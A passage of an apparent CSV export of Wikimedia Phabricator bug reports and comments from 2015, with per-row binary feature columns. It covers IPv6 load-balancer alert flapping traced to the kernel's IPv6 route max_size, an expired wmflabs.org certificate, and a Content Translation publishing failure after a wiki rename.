+06:04 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+06:06 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10514 bytes in 0.096 second response time
+--- Day changed Sat Sep 19 2015
+04:02 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+04:04 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10512 bytes in 0.121 second response time
+04:19 < icinga-wm> PROBLEM - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+04:20 < icinga-wm> RECOVERY - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 301 TLS Redirect - 503 bytes in 1.003 second response time
+04:42 < icinga-wm> PROBLEM - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
+```
+(hours are UTC+3)
+
+Apparently there is //some// correlation with times of the day; this could be related to traffic levels or some other periodic tasks (IPsec session renewal?).",Unbreak Now!,100.0,1442688838,1443622297.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-rmiw44c77bd45w6yould,task_description,resolved,True,c3,3,True,False,True,11,True,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+538036,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"No flap paged in the usual timeframe last night.  icinga logs are clear of the usual raft of 1/3 soft fails too.  We still get some ipsec ipv6 flaps, but again at a much lower rate than before, so the remaining ones are probably from something unrelated to this.",,,1443622297,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+537143,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,^ +1,,,1443534834,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+537140,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"FWIW, I did some additional searching and ended up... in [[ https://code.facebook.com/posts/1123882380960538/linux-ipv6-improvement-routing-cache-on-demand/ | Facebook's IPv6 work ]], which explains well the symptoms we're seeing. Their work has been merged into Linux 4.2-rc1 from what I can see, so things would be considerably improved then — but in the meantime, the fixes max_size increase that was just pushed should alleviate them for our scale.
+
+Let's monitor this for another 24 hours and resolve.",,,1443534653,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+537137,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"FWIW, I did some additional searching and ended up... in Facebook",,,1443534543,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+537126,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"Change 242122 merged by Faidon Liambotis:
+Bump IPv6 route max_size to 131072 for all
+
+[[https://gerrit.wikimedia.org/r/242122]]",,,1443533046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,False,,,12,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+537123,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"Change 242122 had a related patch set uploaded (by BBlack):
+Bump v6 route max_size to 131072 for all
+
+[[https://gerrit.wikimedia.org/r/242122]]
+",,,1443532662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,False,,,12,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+537118,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,">>! In T113154#1683862, @BBlack wrote:
+> Digging around a bit and thinking, I stumbled on a new theory: this might be because of the small fixed default size of `/proc/sys/net/ipv6/route/max_size`.  It's dynamically adjustable with normal sysctl, but it's always a fixed `4096` by default, whereas the ipv4 equivalent ends up being `2147483647` (2^31-1), and supposedly is based on system memory constraints and such.  The big cache clusters (upload, mobile, text) in codfw were all showing values just under 4K for `wc -l /proc/net/ipv6_route` in codfw this evening, and presumably the same in eqiad when it has full traffic.  For whatever reason, the same tables in ulsfo and esams are much smaller and nowhere near the 4K value (ulsfo closer to 2K-ish, esams only a few hundreds), which would explain why this doesn't hit those DCs.
+> 
+> I've manually adjusted the sysctl on all of the cp* machines to `131072` via salt for now, and I've been tailing the icinga log since then (nearly an hour now) and haven't even seen any 1/3 soft-fails for v6 service endpoints or the usual v6 ipsec flaps, either.  Will leave the tail running overnight.  Once the max_size was lifted, the codfw `wc -l /proc/net/ipv6_route` values jumped from their just-under-4K values to values in 5-7K range on those machines.
+> 
+> Will continue to observe, and tomorrow will dig deeper on exactly how that table works and what a sane way to size it would be, and also why esams seems so much less affected when it has at least as much total traffic (is v6 adoption really that much less in the EU than the US? there are other possible factors too, such as more cache boxes per cluster).
+
+That's a very good find and catch. A few years ago we were having frequent issues with the IPv4 route cache filling up, in particular in cases of traffic surges. We had to workaround these until upstream Linux ditched the IPv4 route cache entirely.
+
+This is the knob for the IPv6 routing table but IIRC is also the same for the route cache table. 4096 would definitely not be enough and cause this effect. Ironically, us switching to HTTPS for which we use `sh` probably delayed the occurence of this issue considerably!
+
+IPv6 connectivity is on the rise (exponentially, even) which could explain the sudden occurence of this issue. It's currently at ~8.5% globally and ~21.5% in the US, according to [[ http://www.google.com/intl/en/ipv6/statistics.html | Google's IPv6 statistics ]], the most complete analysis on the subject. The iOS 9 release probably also gave a boost to the number of IPv6 users globally because of a [[ https://www.ietf.org/mail-archive/web/v6ops/current/msg22455.html | changed behavior ]] in the OS.
+
+To answer your other question on US vs. EU IPv6: as you can see from the Google stats above, Europe's IPv6 connectivity varies greatly from country to country due to different operators, but it's clear that on average cannot top the US' numbers.
+
+Moreover, I ran a quick log analysis over our own (sampled 1:1000) logs for two dates, yesterday and Aug 8th. The findings are:
+- IPv6 globally is at 8.45%, was 7.64% back in August.
+- 46.49% of our (IPv4/IPv6) traffic hits esams (42.85% in August); ulsfo is at 20.56% (14.11%), eqiad+codfw is at 32.95% (43.04% in August). Wwe've reshuffled half of the US' traffic during this time period, so the difference between Aug/Sep makes sense.
+- 11.47% (11.87%) of all of requests ending up at eqiad+codfw are IPv6. For ulsfo it's 10.6% (3.79%) and for esams it's 5.35% (4.67%). 
+- IPv6 requests hitting eqiad+codfw+ulsfo are 70.55% of all IPv6 requests (73.79%).
+- IPv6 requests hitting just eqiad+codfw are now 44.70% (66.78%) of all IPv6 requests, i.e. ulsfo handles 25.85% (7.01%) of all IPv6 requests.
+
+All of the above seem to support that a) eqiad/codfw get a lot more IPv6 traffic both in comparison and in absolute numbers than esams/ulsfo (without factoring in number of servers/requests per server), b) there is a strong correlation of the US-West move to ulsfo earlier this month changing the IPv6 ratio for ulsfo, which in turn suggests that the percentages of IPv6 users in the US are much higher than Asia (or the rest of the world for that matter).",,,1443532263,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+537058,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"See also https://bugzilla.redhat.com/show_bug.cgi?id=1221915 and the similar reports linked within, etc...",,,1443525068,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1
+537053,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"Update: log tail caught a few 1/3 soft fails on ipsec ipv6 still, but those could be due to legitimate timing and/or packet loss.  The rate of them is much lower than before (more than an order of magnitude), and no soft-fails on ipv6 service IPs yet.  Will keep watching through the next expected flap window.",,,1443524538,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+536887,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"So, this evening the same flaps hit (as they do most evenings), but they hit codfw ipv6 service IPs rather than eqiad.  Both DCs have been active and monitored all along, so this means the alerts follow the large-scale traffic more than anything else, and they don't seem to be eqiad-specific.  They've never hit esams or ulsfo before, though.
+
+Digging around a bit and thinking, I stumbled on a new theory: this might be because of the small fixed default size of `/proc/sys/net/ipv6/route/max_size`.  It's dynamically adjustable with normal sysctl, but it's always a fixed `4096` by default, whereas the ipv4 equivalent ends up being `2147483647` (2^31-1), and supposedly is based on system memory constraints and such.  The big cache clusters (upload, mobile, text) in codfw were all showing values just under 4K for `wc -l /proc/net/ipv6_route` in codfw this evening, and presumably the same in eqiad when it has full traffic.  For whatever reason, the same tables in ulsfo and esams are much smaller and nowhere near the 4K value (ulsfo closer to 2K-ish, esams only a few hundreds), which would explain why this doesn't hit those DCs.
+
+I've manually adjusted the sysctl on all of the cp* machines to `131072` via salt for now, and I've been tailing the icinga log since then (nearly an hour now) and haven't even seen any 1/3 soft-fails for v6 service endpoints or the usual v6 ipsec flaps, either.  Will leave the tail running overnight.  Once the max_size was lifted, the codfw `wc -l /proc/net/ipv6_route` values jumped from their just-under-4K values to values in 5-7K range on those machines.
+
+Will continue to observe, and tomorrow will dig deeper on exactly how that table works and what a sane way to size it would be, and also why esams seems so much less affected when it has at least as much total traffic (is v6 adoption really that much less in the EU than the US? there are other possible factors too, such as more cache boxes per cluster).",,,1443497099,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+531130,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"This has always hit text and upload lb's (again, IPv6, in eqiad) as well, but usually they're less-likely than mobile to reach 3/3 and actually send an alert.  I've downtimed all 3 temporarily just to avoid the excess paging, and we can look at this more in detail Monday.",,,1442800474,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,11,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+530947,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"FWIW, I think this pre-dated IPSec and probably isn't related to it.  In earlier investigations it looked like a monitoring failure of some kind and not real.  Later theory was that it was real, and related to the issues with short RA TTLs for the IPv6 default gateways, but it has persisted since fixing that as well...",,,1442699279,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,11,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+112608,*.wmflabs.org https certificate expired (tools.wmflabs.org),"tools.wmflabs.org https certificate expired certificate expired on 15-09-14 08:43 PM. This is the star.wmflabs.org certificate which is also used for https in the labs proxy.
+
+",Unbreak Now!,100.0,1442278926,1442333214.0,PHID-USER-mcfo27pkfdhzd7gk66fx,False,PHID-USER-h75guknmwivm6x37iute,False,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_description,resolved,True,c3,3,False,False,True,10,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+528277,*.wmflabs.org https certificate expired (tools.wmflabs.org),Left to be done is to add a monitoring probe for the certificate expiry {T112645},,,1442394664,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+527936,*.wmflabs.org https certificate expired (tools.wmflabs.org),">>! In T112608#1641865, @coren wrote:
+> The new certificates have been issued, and I've pushed them to the servers (specifically, the labs-wide dynamicproxy and the tools-specific proxies and static web servers).
+> 
+> As far as I can tell, that covers everything.
+
+Thanks for the quick solution - things look fine to me now when I open https://tools.wmflabs.org/ or pull up a Wikivoyage map such as https://en.wikivoyage.org/wiki/Culver_City#Get_around.",,,1442348937,,PHID-USER-2q4czpdve2m2bm74ksx5,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1
+527682,*.wmflabs.org https certificate expired (tools.wmflabs.org),"The new certificates have been issued, and I've pushed them to the servers (specifically, the labs-wide dynamicproxy and the tools-specific proxies and static web servers).
+
+As far as I can tell, that covers everything.
+",,,1442333214,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+527371,*.wmflabs.org https certificate expired (tools.wmflabs.org),We are waiting on the CA to re-issue the certificate and will be back online as soon as that happens. Might be up to midday west coast time however :(,,,1442296227,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+527370,*.wmflabs.org https certificate expired (tools.wmflabs.org),">>! In T112608#1640292, @Negative24 wrote:
+> Should the Wikivoyage tool perhaps be moved to a production or production-like machine to prevent such occurrences? From what I've heard, anything that breaks the actual page of a Wikimedia wiki (not bot/maintenance tasks) should be put on a higher priority machine. (topic for another task; cc me if one is made)
+
+There is a maps.wikimedia.org service in progress that I believe is supposed to be a more ""official"" maps service - see Yurik's comments at the end of the https://en.wikivoyage.org/wiki/Wikivoyage:Travellers%27_pub#Dynamic_maps thread - but my understanding is that it is still a work-in-progress and that issues still need to be resolved.",,,1442295731,,PHID-USER-2q4czpdve2m2bm74ksx5,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1
+527337,*.wmflabs.org https certificate expired (tools.wmflabs.org),"Should the Wikivoyage tool perhaps be moved to a production or production-like machine to prevent such occurrences? From what I've heard, anything that breaks the actual page of a Wikimedia wiki (not bot/maintenance tasks) should be put on a higher priority machine. (topic for another task; cc me if one is made)",,,1442285407,,PHID-USER-zcsdm7lwcehnusyhh6xp,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0
+527336,*.wmflabs.org https certificate expired (tools.wmflabs.org),"Thanks for working on this :-)
+
+Just for info, this breaks most Wikivoyage articles (they embed a dynamic map frame generated by tools.wmflabs.org):
+{F2604942}",,,1442284975,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+527297,*.wmflabs.org https certificate expired (tools.wmflabs.org),T112542 refers to a 'tracking calendar'. And this is sort of part of that.,,,1442280442,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+527290,*.wmflabs.org https certificate expired (tools.wmflabs.org),"I think there's a calendar somewhere with expiry dates, and this cert was just missed. I'll verify and make sure there's one such calendar.",,,1442280007,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+527288,*.wmflabs.org https certificate expired (tools.wmflabs.org),"Now, how will we remember to do this in the future?",,,1442279968,,PHID-USER-zcsdm7lwcehnusyhh6xp,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+527287,*.wmflabs.org https certificate expired (tools.wmflabs.org),Looks like it might take us a day or so to renew them. Ugh.,,,1442279540,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-k5hfdjpbqfhjvcjq5qxr,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+111818,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,"When I try to translate to be-tarask.wikipedia.org, I get `parsoidserver-http: HTTP 404` when I publish.
+
+I can publish to other languages.
+
+This may have something to do with the recent renaming of be-x-old to be-tarask (T11823).",Unbreak Now!,100.0,1441728707,1441740867.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-jrowngubvcz7ahhreyyg,task_description,resolved,True,c3,3,True,False,True,9,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+522915,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,Going out tomorrow.,,,1441740867,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-jrowngubvcz7ahhreyyg,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+522744,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,"Change 236831 merged by jenkins-bot:
+T111818: Update sitematrix.json for be-tarask
+
+[[https://gerrit.wikimedia.org/r/236831]]",,,1441730858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrowngubvcz7ahhreyyg,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+522732,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,"Change 236831 had a related patch set uploaded (by Arlolra):
+T111818: Update sitematrix.json for be-tarask
+
+[[https://gerrit.wikimedia.org/r/236831]]
+",,,1441730311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrowngubvcz7ahhreyyg,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+522704,ContentTranslation to be-tarask doesn't work: publication gives parsoidserver-http: HTTP 404,"Yes, we need to reimport the site matrix and deploy it.",,,1441728781,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jrowngubvcz7ahhreyyg,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+111490,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Starting with 20150903195826, publishing for Content Translation fails with Error: parsoidserver-http: HTTP 404.
+
+In log,
+
+```
+{""servedby"":""mw1146"",""error"":{""code"":""parsoidserver"",""info"":""parsoidserver-http:
+HTTP 404"",""*"":""See https://fa.wikipedia.org/w/api.php for API usage""}}
+```
